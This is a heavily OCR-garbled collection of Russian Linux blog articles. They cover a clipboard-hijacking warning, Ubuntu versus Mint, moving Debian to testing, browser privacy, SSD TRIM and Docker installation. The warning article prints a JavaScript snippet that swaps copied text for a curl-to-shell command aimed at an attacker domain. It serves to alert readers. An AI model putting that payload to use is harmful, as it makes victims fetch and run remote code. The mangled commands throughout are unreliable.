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Атака на системы -- копирование и вставка 
команд с сайтов и форумов 


Многие из нас привыкли копировать команды с сайтов и форумов, а затем вставлять их в 
терминал и выполнять. Это могут быть команды для устранения каких либо неурядиц 
системы, кастомизация, установка программного обеспечения, добавления репозиториев и 
так далее. 


Таким образом можно скомпрометировать свою систему, заразить ее каким нибудь бэкдором, 
то есть, стать жертвой злоумышленников. В командах с сайтов и форумах может скрываться 
не то, что на первый взгляд вам кажется, в итоге, копируя команды вы можете выполнить 
установку какого нибудь вредоносного программного обеспечения или исполняющего 
скрипта. В этом вы убедитесь чуть ниже. 


Спросите любого системного администратора, продвинутого или начинающего пользователя 
Глпих, копировал ли он команды с сайтов? И ответ, скорее всего, да. Да что там, многие так 
делают, даже не задумываясь о последствиях. 


Компрометация системы 


Предположим, вы первый раз установили систему Глпих из семейства Ծճելճո, пошли в сеть в 
поисках информации как обновить систему и на каком то не известном сайте наткнулись на 


команду. Копируете ее с этого сайта и вставляете в терминал, нажимаете “Ещег”, вводите 
пароль, и в результате можете стать жертвой злоумышленников. 


Забавно, не так ли? Вместо привычной команды вы получили совершенно иное. 


ѕиао քէ ирааѓе && Տսմօ арі ирдгаае 


Это наглядный пример того, как ваша система может стать целью хакеров. 


субег-х@СућЬег-Х-Согр: ~ 





Вся загадка тут кроется в Ј5 (ЈауаЅсгірі) коде, который скрывается под обычной командой: 


<5сгірі> 

доситепі . деїЕТетепЕВу1а ( ' сору') .аддЕмепёііѕіёепег ( ' сору', Ғипсі1іоп (е) 

{ е.с1іірроагараёа. ѕеёраїа( 'ёехі/р1аіп', 'сиг1і 

Ер: //аїіаскег - дотаіп : 8000/5һеї1.ѕһ | $зп\п'); е. ргемепёреҒаи1є(); }); 
</ѕсгірі> 


Копируя команды и выполняя их в терминале, вы крайне рискуете, Эта команда выше 
показана как наглядный пример. В некоторых системах Լլոսչճ после копирования и вставки в 
терминал, происходит выполнение команды автоматически, так что даже если заметили 
подмену команды, может быть уже поздно. 


Хакер может и вовсе скрыть выполнение посторонней команды, к примеру за вереницей 
длинных команд в итоге, вы даже не поймете что устанавливаете в свою систему. Как 
вариант: 


Տսմօ арі іпѕіа11 тагіаар-ѕегмег рһр 11ібарасһе2-тоа-рһр քհք-ոՄտզԼ քհք-ՇսոԼ քհք- 
ՈՇՒՄքէ քհք-6Շց1 քհք-ցմ рһр-тоѕёгіпо рһртуаадтіп 


А ведь команды бывают и намного больше, и среди этой вереницы, вместе Ը нужным 
программным обеспечением может быть скачена и установка вредоносная программа как 
вариант, майнер, бэкдор или кейлогер. И не факт, что вы это заметите, так как установка 
может происходить в фоновом режиме. 


Заключение 


Что бы избежать подобной атаки на вашу систему, и не стать жертвой хакера или иного 
злоумышленника, не копируйте команды с сайтов и форумов. Все команды вводите только 
вручную, а если все же скопировали команду, то перед ее выполнением вставляете ее в какой- 
нибудь текстовый редактор и внимательно изучите ее прежде чем выполнять. 


Габриэль Фридландер, специалист по информационной безопасности, основатель обучающей 
платформы Мілег и автор данного скрипта, на сайте мүгү.мілег-ігаіпіпе.сот прекрасно 
продемонстрировал данный тип атаки, при желании, вы можете ознакомиться с его трудами 
перейдя по этой ссылке. 


Так же рекомендую ознакомится со статьей по частым ошибкам кибербезопасности, которые 
желательно взять на заметку. 





ՍԵսուս ՄՏ Гшах Мі – Основные 
различия двух популярных дистрибутивов 


В данной статье не будем учитывать политику Сапошса! и навязчивость пакетов ѕпар, а 
рассмотрим лишь основные аспекты различий этих двух популярных дистрибутивов пих. И 
в конце статьи подведем итоги, в первую очередь именно как дистрибутивов для домашнего 
использования и, для начинающих пользователей. 


Данная статья не претендует на последнюю инстанцию и является ЛИШЬ субъективным 
мнением автора, с которым разумеется, вы можете не согласится. Это связано с тем, что у 
Каждого пользователя пих систем в итоге складывается свое мнение, свои предпочтения, 
которые, в конечном итоге, могут отличаться от пользователя к пользователю. 


Սեսուս — один из самых известный дистрибутив Гпих, ее разработка началась в 2004 году. 
Она основана на дистрибутиве ПеЫап, поэтому ՍԵսուս она унаследовала от своего родителя 
систему управления пакетами арке, формат пакетов .մճԵ и менеджер пакетов арії. 


[пух М в свою очередь основан на пакетной базе ՍԵսուն. Первый выпуск Шіпих Ми 





состоялся в 2006 году. В нем так же используются те же пакеты в формате .4еБ, система 
управления пакетами ірке и менеджер пакетов арк, которые точно так же были унаследованы 
от родителя. 


Так же хотелось бы предложить вам основные отличия дистрибутивов ОеШап и ՍԵեսուս, 
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статья про них доступна по этой ссылке. 











Цели и задачи ՍԵսուս и Шпих Міпё 


ՍԵսուս не стремится быть просто настольным дистрибутивом Шпих. Вместо этого ՍԵսուս 
представляет собой дистрибутив тих общего назначения, который можно использовать на 
серверах, в облаке, 101 и так далее. 


Լոս» Мін с другой стороны, представляет собой не что иное, как настольный дистрибутив 
Глпих. Версий пих МшЕ для серверов, 10՛1 и тому прочему не существует. 


Вот почему вы заметите, что лпих МЕ больше подходит для новых пользователей и тех, у 
кого нет опыта работы с тих дистрибутивами. Потому что цель разработчиков сделать 
дистрибутив более удобным для пользователей, и все их силы сосредоточены именно на 
этом. 


Доступность программного обеспечения 


Так как ОБипи основана на ОеШап, а в свою очередь Гпих Ми основан на Обип, это 
означает, что вы можете установить любой файл в формате .еБ во всех этих дистрибутивах. 
Конечно, при условии, что будут иметься зависимости. 


РРА — это программные репозитории, предназначенные для установки пакетов в ՍԵսուս. И 
хотя они были разработаны в основном именно для нее, в пих Міпї также имеется 
возможность подключать эти репозитории. Это означает, что вы можете добавлять РРА 
репозитории в Шіпих Міпі так же, они добавляются в Սեսուս. 


Однако имейте в виду, что например, установка рабочего стола Оппу на тих Міпі может 
привести к поломке системы, хотя рабочий стол Опйу будет взят из официальных 
репозиториев ՍԵսուս. 


Ѕпар и ННафакК пакеты 


Ѕпар и НараК это новые форматы приложений программного обеспечения в мире [іпих. Это 
автономные, сжатые, изолированные пакеты, которые можно установить в любом 
дистрибутиве [іпих. ОБип по умолчанию поставляется с поддержкой ՏոճքՏ, на который и 
делается в последнее время основной упор. В Шіпих Міпі поддержка пакетов Ѕпар отключена, 
при желании конечно ее можно включить. Но по умолчанию вы не сможете установить 
пакеты Տոք в Լոս Міпќ. 


Между этими двумя форматами приложений есть много различий, пакеты Ѕпар разработала 
компания Сапописа!, которая стоит за ՍԵսուս. Автором Е]арак является Алекс Ларсон (АІех 
Г.агѕѕоп) и является свободным и открытым проектом. 


Вы можете установить как Ѕпар так и Е]араК приложения в любом дистрибутиве Լոս, 
ничто не помешает вам использовать даже оба этих форматов в вашей системе, это просто 
вопрос предпочтения. В любом случае большинство пользователей тих по-прежнему 
предпочитают традиционные форматы пакетов, такие как .ер и .грт. 


Предустановленные приложения 


Լոս Мише поставляется с гораздо большим количеством предустановленных 
приложений чем ОБипш. Это связано с тем, что ՍԵսուս является дистрибутивом общего 


назначения, в то время как Глпих Міпі ориентируется в первую очередь на десктопный 
сектор. 


Ипих-Мии на ՕԷԽՍ /КУМ 


Файл Виртуальная машина Вид Отправить комбинацию клавиш 
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Фактически, некоторые приложения поставляемых в пих հ/Ոու, также разработаны 
командой разработчиков данного дистрибутива. В то время как в ՍԵսուս предустановленны 
приложения, которые доступны и в других дистрибутивах [іпих. 


ОБупш-20.04 на СЕМИ /КУМ 


Фаил Виртуальная машина Вид Отправить комбинацию клавиш 
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Это один из моментов, который делает [лпих Міпі лучше, чем ОБип для начинающих. Так 
как в нем содержится больше вспомогательных инструментов и утилит для системы, чем 
Սեսուս по умолчанию. 


Ипих-Мии на ОЕМО /КУМ 
ию клавиш 
Запись образа на У$В-накопитель 


Записать образ (Нет) Թռ 


Добро пожаловать в Менеджер обно 


Этот инструмент обеспечивает вашу операционную систему обновлениями программного обеспече 
безопасности системы 


Сортировать по Популярность т а 


ТгапзрагепЕ рапе($ Бу дегтагіт 
гапѕрагелс-рапе(ѕ Өдегталў 


Тгапърагепіоге усл рапе 5 мћег еге эге гю 


ахитигед мигом 
Сіппатоп Махити$ 
“ олппотоп-чтаютиу @тее 
Чабесогаие миг омгз аѕ уош пке 
ցո 
отне@зЛиагоп 


ոն» օս мігјомз аз уоц ке Вашему компьютеру не нужны дополнительные драйверы 


Масегтагк Бу оегтааН 
илабегтогк Өдегтапўт 





Рабочее окружение 


Официально СМОМЕ — единственная среда рабочего стола, поддерживаемая Сапошса|. 
Существуют дистрибутивы предоставляющие пользователям другое окружение рабочего 
стола — Ճսեսուս, Габипа, Хибипш, Սեսուխս тігу, ՍԵսուս МАТЕ и так далее, но эти 
дистрибутивы разрабатываются и поддерживаются сообществом, а не Сапошса|. 


Սեսուս-20.04 на СЕМИ /КУМ 


А ию клавиш 





Լոս Міні имеет З официально поддерживаемые версии рабочего окружения: 


1. Сшпатоп: является основным рабочим столом разработанным командой Шпих 
№М1ть по умолчанию, очень похож на интерфейс Міпӣоуѕ, но в то же время является 
современным и уникальным по-своему. 


2. МАТЕ: имеет быть более классической внешний вид, продолжая традиции Споше 2, 
не требователен к ресурсам. 

З. Хе: еще один классический рабочий стол, вполне стабильный и не требовательный к 
ресурсам. 


Можете выбрать любой вариант рабочего окружения, который вам больше всего нравится, 
все они поддерживаются официально разработчиками ших Ме. Тут стоит отметить, что 
СМОМЕ является более требовательная к ресурсам среда рабочего стола, особенно Ը 
подключенными расширениями, которые так же потребляют ресурсы. В то время как МАТЕ, 
Хе и Сшпатоп, более легкие, а соответственно не требовательны к ресурсам. 


Ипих-Мии на ՕԷԽՍ /КУМ 


Фаил Виртуальная машина Вид Отправить комбинацию клавиш 


ար о- в 





Выбор используемой среды рабочего стола по умолчанию может иметь ключевое значение, 
если у вас слабый компьютер, рекомендуется ставить МАТЕ, Хе или Сшпатоп. Так же 
стоит отметить, что МАТЕ, Хе и Сшпатоп имеют более классический вид, напоминающий 
Ууіпаоуѕ, в то время как СМОМЕ более смахивает на Мас, так что при выборе рабочего 
окружения стоит учитывать данный нюанс. 


Функционал по умолчанию 


По умолчанию СМОМЕ в ՍԵսուս, да и не только, имеет ограниченный функционал, это 
касается не только настроек системы, но и графического окружения. Расширить возможности 
СМОМЕ можно при помощи расширений, которых довольно много. 


ՍԵսոէս-20.04 на ОЕМИ /КУМ 


Фаил Виртуальная машина и Отправить комбинацию клавиш 


Приложения 


Ս Конфиденциальность 


Сетевые учетные записи 


общий доступ 


мышь и сенсорная панель 


Комбинации клавиш 


аА 





В тих Ми рабочие столы Сіппатоп, МАТЕ, и Хе уже имеют специальные инструменты 
и параметры для изменения настроек и изменения внешнего вида. Центр управления Міпі 
также позволяет загружать апплеты, расширения и темы непосредственно из того же центра 
управления и мгновенно использовать их, что экономит время. 


Ипих-Мии на ОЕМУ /КУМ 





Параметры системы - Հ Օօ 


г Внешний вид 





Выбор шрифтов Темы Фоновые рисунки 


= Параметры 








2 Ф - № 9 1256 





Обновления и продолжительность поддержки 


Существует 2 типа выпусков ՍԵսուս: 


1. Выпуски без долгосрочной поддержки (Г.оп5-егт-5иррог(), которые выпускаются 
каждые 6 месяцев с периодом поддержки в 9 месяцев. 
2. Релизы Т5, которые выпускаются каждые два года с периодом поддержки 5 лет. 


Кроме того, в ОБипи есть так называемая программа ՍԵեսուս ЕЅМ, которая добавляет еще 5 
лет поддержки к выпускам Սեսուս 1.15. Программа Սեսուս ЕЅМ предназначена для 
предприятий и коммерческих компаний, но она бесплатна для пользователей, имеющих до 3 
компьютеров. 


Глпох Мише основан только на Т75-версиях Սեսուս, а это означает, что каждый выпуск іпих 
Міп также получает 5-летний период поддержки. По некоторым данным, пользователи Гіпих 
Міг так же могут воспользоваться ՄԵսուս ЕЗМ, на сколько это верно, утверждать не могу, 
надо проверять. 


Заключение 


Подводя итог, если вы новый пользователь Глпих и новичок в мире открытого исходного кода, 
то Шпих МшЕ для вас лучше, чем ՍԵսուս. Это связано с тем со стремлением команды 
разработчиков сделать дистрибутив максимально удобным для пользователя. Но, если вы 
хотите изучить Ыших более традиционным способом, пройденным многими людьми, тогда 
ОБипы, именно с нее у многих и начинался путь в мир ших. 


В конце концов, оба дистрибутива бесплатны, никто не ограничивает ваше стремления в 
изучении [іпих и, при желании вы можете установить сначала Глпих Міпї, а затем перейти на 
Սեսուս, или наоборот. А когда освоитесь, разберетесь, можете продолжить изучение на 
других дистрибутивах, таких как ОеШап. 


В любом случае автор данной статьи начал свое погружение в мир Шпих именно с тих 
Мше 


Выполняем переход с ветки а Ше на 
Օշո Тезипо 


У дистрибутива ОеМап есть три ветки на которые можно осуществить переход, первая ветка 
это З{аЫе, как можно понять из названия — стабильная ветка. Эта та, что доступна с главной 





страницы официального сайта ОеШап. Ветка Теѕіпе, это тестовая ветка, на которую сегодня 
и будем переходить. В тестовой ветке происходит тестирование будущего стабильного 
выпуска Оеап, тестовую ветку иногда подключают для получения более свежих пакетов. И 
третья ветка 51р, или как ее еще называют Оп5аЫе, то есть не стабильная. Но несмотря на 
то, что это не стабильная ветка, она является предпочтительнее для установки, подробнее о 


ней вы можете прочесть в отдельной статье, доступной по этой ссылке. 





Можно, конечно, скачать Оебіап Теѕіпо с официального сайта 
сборки формируются каждую неделю. Вполне возможно пользователю необходимо обновить 


‚ а затем установить, данные 


систему на ветку Теѕііпо, а не устанавливать ее с нуля, как раз это мы и сделаем. То есть, 
перейдем Ը ОеШап 5{ае на Оебіап ТезИпе. 


Перед тем как выполнять все описанные ниже действия, краине рекомендуется сделать 
резервную копию системы, если что-нибудь пойдет не так, то была возможность 
восстановить систему. 


Обновляемся до ОеШап Теѕіпо 


Что бы перейти с ветки ՏէՅԵԼԲ на ветку Теѕіпе необходимо отредактировать файл 
«ՏՕԱԼԸԲՏ.ԱՏէ՞, этот файл отвечает за репозитории системы. Редактировать данный файл будем 
из терминала, а что бы его открыть, воспользуемся текстовым редактором Мапо, о котором 
подробно написано в отдельной статье, доступной по этой ссылке. И так, отправляемся в 
терминал и вводим команду для редактирования файла ѕоцгсеѕ.115”, который находится по 
адресу “/ес/арИ”: 


ѕиао папо /ԲճԲէՇ/Ձքէ/ ՏՕԱՒՇՔՏ. Լ1Տէ 


Тут существует один нюанс, если название нынешнего стабильного релиза заменить на 
название будущего стабильного, то вы будете находиться на ветке тестинг до его релиза, а 
затем автоматом перейдете на стабильную ветку. То есть, если заменить название нынешнего 
стабильного релиза — Ви 5еуе, на название — Воокуогт, который только должен выйти в 
будущем, то вы будите на ветке Теѕііпо пока он не релизнится и не станет стабильным. Узнать 
название будущих релизов Юеђіап можно на МКТ: 


Оебіап-11 на ОЕМИ /КУМ 


Терминал - суБег-х@СуБег-Х-бгоир: ~ 
в А ( 





Файл Правка Вид ք 3 ՍՆՆ Справка 
СМИ папо 5.4 /еїс/арї/ѕоигсеѕ.1151 * 





Что бы быть постоянно на ветке Теѕііпо, необходимо заменить название дистрибутива на 
‘чезНпя”, таким образом вы всегда будите в тестовой ветке: 


Оебіап-11 на ОЕМИ/КУМ 


минал - суБег-х@СуБег-Х-Сбгоир: ~ 





Файл Правка Вид լ է 3 адки Справка 
СМУ папо 5.4 /еїс/арї/ѕоигсеѕ. 1151 * 





После того как отредактировали файл с репозиториями, сохраняем его и выходим. Теперь 
осталось лишь обновить систему до ветки ТезИпе, а затем перезагрузить систему: 


Տսմօ քէ ирадаѓе && Տսմօ арі ирдгаде 


Оеђіап-11 на ՕԷԽՍ /КУМ 


Фаил Виртуальная машина Вид Отправить комбинацию клавиш 


5 - 5 


ожения Ё Терминал - субег-х@С я у ЕН 44 9 № Пт 4фев, 10:53 Субег-Х 


Терминал - суБег-х@СуБег-Х-Сгоир: - 


инаг Вкладки Справка 


:-$ 5440 папо /еїс/арї/ѕоигсеѕ. 1151 
[50до] пароль для суБег-х: 


:-$ 50до арї ирдате && $идо0 арї ирдгаде 
овая Ш Пол:1 Н1{р: //ѕесигіту.дебіап.огд/дебіап-ѕесигіїу 1е$11п9-5есиг1ту ТпВе\еаз$е [35, 
ան) 
Ա 11711171: ՄԱԼ 111: 1е$11пд ІпАе1еаѕе [129 КВ] 
Пол:3 һр: //деб.деБіап.огд/дебіап їеѕїіпд-ирдаїеѕ ТпКе\еазе [36,8 КВ] 
Пол:4 ћ1р: //деб.дебіап.огд/дебіап їеѕїіпд/таіп Ѕоигсеѕ [8 919 КВ] 


аерап 





Заключение 


Если существует необходимость просто установить более свежее ядро, рекомендуется 
подключить репозиторий Васкрогїѓѕ, где можно найти более свежие версии некоторых 
пакетов. Тем самым вы сохраните стабильность системы и получите доступ к более свежему 
программному обеспечению. 


Как уже говорилось, тестовая версия может оказаться не стабильной, и возможны глюки 
системы, будьте готовы к этому. Хотя, глюки бывают в любой системе, от них никто не 
застрахован. 


Переходить на Юеђіап Теѕіпо имеет смысл только когда вы хотите протестировать будущую 
систему, либо, возникла крайняя необходимость. В остальных случаях, лучше не рисковать и 
оставаться на стабильной ветке. 








Приватность, Анонимность и 
конфиденциальность браузеров 


Вопрос конфиденциальности и анонимности браузера для некоторых пользователей может 
играть ключевую роль. Взять к примеру тот же Соо]е Сһготе или Еігеѓох, которые как 
известно стучат о пользователях. И данный подход некоторым не нравится, по этому 
пользователи стараются найти браузер, который не будет сливать корпорациям информацию. 
В сети вы можете найти множество рекомендаций по выбору анонимных и 
конфиденциальных браузеров, но конкретики в основном крайне мало. 


На просторах интернета существует сайт, где вы сможете ознакомиться с проблемами 
каждого браузера, его приватностью и наличием телеметрии. Хотя он на Английском языке, 
ничто вам не помешает воспользоваться переводчиком, что бы понять суть того, что 
написано. В данной статье затронем всего несколько браузеров, про остальные вы сможете 
прочесть сами, ссылка на сайт будет в конце статьи. 


Помимо браузеров, на этом же сайте собрана информация и о других сервисах, например 
Тејесгат, УГС, Ѕѓеат и так далее. 


Вгауе {Ре пем Іпёегпеї 





Анонимность и конфиденциальность браузер – Вгауе 


И первым под раздачу попадает браузер, который позиционирует себя как 
конфиденциальный и якобы блокирующий отслеживающие трекеры – Вгауе. По данным с 
сайта һрѕ://ѕрууаге.пеосіііеѕ.ого, этот браузер далек от его утверждений, вот что там о нем 
говорится: 


Вгауе Вгомѕег — форк СБготцит?а со множеством интересных возможностей, которых нет 
где-либо еще, такие, как встроенный блокировщик рекламы, защита от отпечатков браузера и 
так далее. Разработчики описывают его как “Браузер, защищающий ваши интересы” со 
встроенной защитой конфиденциальности пользователя. 


Уровень слежки: Высокий 

Вгауе обновляется автоматически, использовал Соое в качестве поисковика по умолчанию, 
имеет встроенную телеметрию и даже имеет ленту новостей, похожую на Еігеѓох РосКеї. 
Этого не должно быть в браузере, который ориентирован на конфиденциальность 
пользователя. 


Вгауе Баз Ба -ш іеіетеїгу 
Во время работы Вгауе будет делать много запросов к домену рЗа.Ъгауе.сот в качестве 
телеметрии. Они утверждают, что хранят данные только несколько дней. 


Вгауе Кеуғагаѕ 
У Вгауе есть программа вознаграждений. На первый взгляд, кажется, что она необязательна, 
но браузер делает запросы к доменам независимо от регистрации в программе: 


° геугагд5.бгауе.сот 
• ар!геугага$.Бгауе.сот 
• огапе.гемгага$.5гауе.сот 


Небольшое дополнение: об этих запросах сообщалось как об ошибках, и по большей части 
они исправлены (за несколькими исключениями). 

При первом запуске Вгауе отправляет запрос, чтобы получить библиотеку для проверки 
орфографии. 


И это лишь часть из того, что там написано про этот браузер, даже исходя из этого можно 
сделать некоторые выводы касательно Вгахе. Идем далее, и следующим браузером на нашем 
операционном столе будет — Լ1ԵւԲՄ7Օ1է. 





Анонимность и конфиденциальность браузер — 11бгемоії 


Ілргемо — это форк Еігеѓох, основными целями которого являются конфиденциальность, 
безопасность и свобода пользователей. 


Проверенная версия: 95.0.2 
Уровень шпионского ПО: Низкий 


[16гемго[ делает некоторые обращения при запуске к серверу: ѕћһауаг.ѕегуісеѕ.то2Ша.сот, 
однако это можно отключить, очистив ЧВГ-адрес в строке: 
Бгомузег.заеБгому$ше.рго\1Аег.п107Ша.прЧае ԻԼ. Также предпринимается попытка проверить 
наличие обновлений, касающихся предустановленного расширения иВ]оск Огівіп. 





И третьим браузером который мы рассмотрим в рамках данной статьи будет — 5ВМ/аге. 





Анонимность и конфиденциальность браузер — $ЕМаге 
Гоп 


ՏԻՄ/ՀԲ гоп — это бесплатный веб-браузер и реализация Сһготіцт от 5КМаге из Германии. 


Уровень шпионского ПО: ЧРЕЗВЫЧАЙНО ВЫСОКИЙ 

5КМаге утверждает, что это веб-браузер с соблюдением конфиденциальности, целью 
которого является предоставление пользователям возможности работы Ը Сһготе без 
шпионского ПО Соое. 


5 КУаге Гоп подключается к невероятному количеству трекеров и открывает соединения Ը 
огромным количеством серверов при первом запуске. По приблизительным оценкам, он 


составляет около 400-500 подключений, и на самом деле ему потребовалось несколько минут, 
чтобы прекратить делать новые запросы и подключения. 


После того как вы закончите идентифицировать свой веб-браузер практически для каждой 
компании шпиона в интернете, вы можете начать поиск с помощью своего нового браузера 
5 КУаге гоп. Поисковой системой по умолчанию является — Віпе. Когда вы пытаетесь 
запустить поиск в Віпе, вот что происходит: 


ВЕЕр$ ://зкыаке-зеаксй.сот/зеаксй .рНр?4=е5$&п =9881 
2вь 


: с1іепёдаіѕсоппесё 
: с1іепёсоппесё 
ИЕЕр5 ://мим .итзезеаксНез .сот/Кези165$ .азрх?д=+езЕ& а =571 ВИЙ246 &5еаксҺбоцксе =58&0М=8 
ՑԵ 


922: с1іепесоппесе 
Һер: иы. Ъ1пч -сом/зеарсИ? ч=сезсврс =созрёрсач =С6 09996 ЕВЗЯВВ 5 9 &{ огп=СОНВОР&соп 1090 =С7321012'7 НТТР/2 .Й 
59 .12К 
Һер: . Б1пч -.сом/за/з 1тч/ $ Ракед $ рк1се/езКсорВенак@4з _922118.рпз НТТР/2 .И 
5.23К 


Вере :7 ասս. ріп -сом/кЬ/30/1с/61505492/2544#288 . рп? ъи =йоуеіСи 21112717 
199 


127.0.0.1:57964: Һерѕ://радеай2 .чоод1еѕупдіісаёіоп . соп/асЕіуоеуіеы?ау і = В267ЕЕКҒ2М4К9НІҒ Ьо -р?4СиСс4дбхийТтАйВАаВвоАнІйдпоӣчроВе 
6,8, 208: 188. 393&р=922 „76 „1912 ,.8948тсох =3813&к5 =З& Е =В& ЕЕ 5 =124169&6 15 =135999 &тс =1 & 16е =В&Ъаз =Я&Ъас =Вёаутз =9еойк$ < =1542?828982632&4а1 
1991 &Е9Е= =1М№&с1 = 18Շ66-2118616 =1&сас =08&сӣ=728х90&0 =к2918118? НТТР/2.0 





По сути, каждый раз, когда вы выполняете поиск в этом браузере, ваши поисковые запросы 
отправляются через серверы разработчика. Таким образом, разработчик может точно знать, 
какова ваша интернет история. Ваши поисковые запросы также отправляются через 
міѕеѕеагсһеѕ.сот. Так что теперь вместо того, чтобы отдавать свою историю поиска одной 
шпионской компании, (00816, вы можете передать ее трем компаниям шпионам, 
переключившись на этот браузер. 


И опять, это только часть из всего, что написано про данный браузер. 


Заключение 


При желании вы можете прочесть про интересующий вас браузер перейдя по этой ссылке на 
сайт ѕрууаге.пеосіѓііеѕ.ого. Как уже говорилось, там собрана информация не только о 
браузерах, но и о многих других приложениях. Переводить о всех браузерах и приложениях 
предполагаю нет смысла, лучше увидеть один раз самому, как говориться. Выводы, доверять 
данному ресурсу или нет, делайте сами. 


Но судя по тем ссылкам, на основе которых сделаны выводы о каждом браузере ИЛИ 
приложении, вопросы отпадают, хотя, и не все. 


В любом случае, если вы выбираете браузер, который является честным по отношению к 
пользователю, данный сайт вам в помощь. 


Для обеспечения защиты свой информации рекомендую прочесть статью: Частые ошибки 
кибербезопасности, а так же начать шифровать свой ОМ№5 и использовать УРМ, как вариант, 
для 0№5 используйте ՏսԵեչ, а УРМ от компании РгоѓіопУРМ. Данная рекомендация 
необходима первым делом для общественных мест, и не более того. 





Настройка расписания Тит в Глпих 


Тгпп — команда интерфейса АТА, позволяющая операционной системе уведомить 
твердотельный накопитель о том, какие блоки данных не несут полезной нагрузки. 
Другими словами, при работе с 55р информация в блоках хранится даже после удаления, и 
команда Тгіт очищает эти блоки, в результате чего в них снова может быть записана 
полезная информация. 


В большинстве іпих системах при установке на 55р функция Тит автоматически 
активируется, по сути, все что нужно, система сделает сама. Очистка блоков происходит 
автоматически раз в неделю, в большинстве случаев этого вполне достаточно. Кроме тех, 
когда 55] накопитель используется весьма активно, то есть, когда создаются, скачиваются 
какие-то файлы, и разумеется, удаляются. В результате активного использования ՏՏԾ вы 
можете заметить притормаживание, которое может свидетельствовать, что необходимо 
выполнить команду 1тіг. 


Тут можно пойти двумя способами, изменить расписание выполнения команды или 
выполнить Тгіт вручную. В данной статье рассмотрим оба этих варианта. 


Настраиваем расписание Те 


Просмотреть расписание, которое задается автоматически можно командой: 


ՏՄՏԷԲՈՇէ Լ са ?ѕігіт. Елтег 


Обратите внимание на строку “ОпСаепдаг” в блоке [Тітег], где указано выполнение Тгіт раз 
в неделю -- мееЩу: 





Что бы изменить расписание выполнение Тгіт, скажем на каждый день, необходимо создать 
конфигурационный файл, в котором и будут содержаться настройки. И так, первым делом 
давайте создадим каталог: 


ѕиао пкаіг /еес/зузфета/ уз ет/Р$Еглм. Е1лтег. а 


Теперь создадим конфигурационный файл открыв его текстовым редактором Мапо, 
подробнее о котором вы можете прочесть перейдя по этой ссылке. И так, открываем 
конфигурационный файл: 


ѕиао папо /еіс/ѕуѕіета/ уз ет/ РЕ глм. Елтег. а/омеггіде. соп? 


В открывшемся окне вписываем следующее содержимое: 


[Тітег | 
Опса1епааг= 
ОпСа1епдаг=Ча1 Ту 





Где “АаПу” означает выполнение Тгіт каждый день. Сохраняем конфигурационный файл 


сочетанием клавиш “сіг + о”, нажимаем “Ещег” и выходим из редактора Мапо – “сігІ + х”. 
Осталось перезапустить компьютер или выполнить команду: 


ѕиао ՏՄՏԷԲՈՇէ Լ даетоп-ге1оад 


После чего проверить расписание Тгіт можно уже знакомой нам командой: 


ՏՄՏԷԲՈՇԷԼ са ՒՏէՐ1ո. Елтег 


[Тітег ] 
ОпСа1 епдаг=да11 ү 





Запуск Тит вручную 


Если вы не хотите менять расписание Тгіт, то выполнить эту команду можно вручную. Для 
этих целей отправляемся в терминал и вводим команду: 


ѕиаӢо ҒѕЕгіт -м --а11 


Где “гіт” — сама команда Тгіт, ключ “-у” показывает очищаемые блоки в байтах, а ключ “— 
а” означает выполнить Тгіт для всех смонтированных разделов: 





Так же вы можете применять и другие ключи, подробней смотрите в справке по “ѕігіт”, 
вызвать которую можно командой: 





Заключение 


Безусловно, Тгип весьма необходимая функция, которая обусловлена современным 
оборудованием, в частности 55р. Первым делом, если у вас возникли проблемы с 550, те же 
самые притормаживания, убедитесь что ваш носитель в порядке, для этого можно установить 
утилиту Нага 015. Ѕепііпе]. Да и в любом случае, желательно следить за носителями. Затем 
можно выполнить Тгіт вручную, и если после этого 55) заработает нормально, можно 
задуматься о смене расписания. 


Подробнее о Тгіт вы можете прочесть на МКТ. 


е (о[е (я 





Устанавливаем ПосКегк в ՍԵսուս 20.04 


В последнее время контейнеризация значительно набрала обороты в области технологий 
программного обеспечения -- Еаѓрак, Ѕпар, АррІтасве, это можно отнести и к ОоскКег — 
контейнерной платформе. Чаще всего ОосКег применяется на серверах, где необходимо 
развернуть тот или иной сервис. На нем можно поднять например Уеб сервер, или даже 
запустить операционную систему из контейнера. 


Контейнеры ПосКег — легкие, переносимые сервисы, которые позволяют программному 
обеспечению работать изолированно от другого программного обеспечения. Эта функция 
переносимости позволяет разработчикам объединять свои приложения в изолированные 
службы. Кроме того, его можно обслуживать независимо, оставляя место для 
масштабирования. 


В родных репозиториях Սեսուս ЮосКег присутствует, но не факт, что последней версии, в 
этой статье мы подключим репозиторий от разработчиков ОоскКег и установим последнюю 
стабильную версию. 


Добавление репозитория росКег 


Перед тем, как начнем подключать репозиторий, давайте установим необходимые 
зависимости, они устанавливаются командой ниже: 


Տսմօ քէ 1ոտէՁԼԼ арЕ-ЕгапзрогЕ-ПЕЕр$ са-сегЕ1Т1саеез$ сиг дпиро-адепі ѕоҒімаге - 
ргорегЕте$ - соттоп 





Когда зависимости установятся, следующим шагом необходимо скачать СРС ключ от 
репозитория и добавить его в ՍԵսուն, все это можно сделать всего одной командой: 


ՇԱՒԼ -քՏՏԼ հէէքտ://մօտո Լ080. дӢоскег. сот/ Լ1ոսչ«/սծսոէս/ցքց | ѕиао арі-Кеу ада - 


Собственно, теперь добавляем репозиторий: 


ѕиао ааа-арі-героѕіёогу "дер [агсһ=атаб4] 
հէ էքտ://մօտո ԼՕՁՄ. доскег. сот/ 1іпих/ирипёи $(150 ге1еаѕе -сѕ) ѕіар1е" 





Установка ЮосКкег СЕ в ՍԵսուս 


Теперь можно установить ОоскКег, устанавливать мы будем ОосКег СЕ — Соттипіїу ЕЯ! оп. 
Давайте обновим списки пакетов и наконец установим Ооскег: 


ѕиао арі ирааѓе && Տսմօ арі 1іпѕіа11 аоскег-се 





Чтобы установить определенную версию, сначала давайте узнаем, какие версии доступны 
для установки в репозитории Ооскег: 


арі 1151 -а ЯосКег-се 





Например, чтобы установить версию 5:20.10.11, введите: 


ѕиао арі іпѕіа11 аоскег-се=5: 20.10 .11-3- 0-ирипіи- Росаї 





После установки служба ПоскКег запускается автоматически, проверить статус можно 
командой: 


ѕиао ѕуѕіетсі1 ѕіаіиѕ досКег 


фе 


8 16 10:37: СуБег - Ж 
1іпеѕ 1-21/21 №) 





Об успешном запуске вам скажет статус “Асіуе: асНуе (гиппіпе)”, для выхода и продолжения 


66 = 22 


работы нажмите клавишу “4”. 


Пакеты ЮосКег будут обновляться автоматически, чтобы отключить автоматическое 
обновление пакета ОоскКег, выполните следующую команду: 


ѕиао аре-мтагКкК հօլԼմ аоскег-се 


Использование ПосКек 


Использование осКег подразумевает передачу ему цепочки опций и команд, за которыми 
следуют аргументы. Синтаксис ЮосКег имеет следующую форму: 


